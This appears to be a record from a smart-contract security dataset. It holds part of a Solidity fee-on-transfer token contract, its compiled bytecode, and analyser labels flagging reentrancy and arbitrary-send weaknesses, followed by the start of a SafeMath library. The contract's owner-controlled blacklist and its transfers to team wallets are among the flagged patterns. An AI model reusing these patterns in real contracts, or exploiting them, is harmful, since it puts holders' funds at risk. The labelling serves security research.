_getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600a81526020017f466c6f6b69476976657300000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f466c4f4b49474956455300000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b60056008819055506014600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fc5c3a179dbe7f25fb6f1d8b04c0b033f0fdb20fa2dcb757bb82dc655d62ebbb64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,536
0xf7aa325404f81cf34268657ddf2d046763a8c4ed
pragma solidity ^0.5.16; // From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol // Subject to the MIT license. /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the addition of two unsigned integers, reverting with custom message on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, errorMessage); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction underflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's 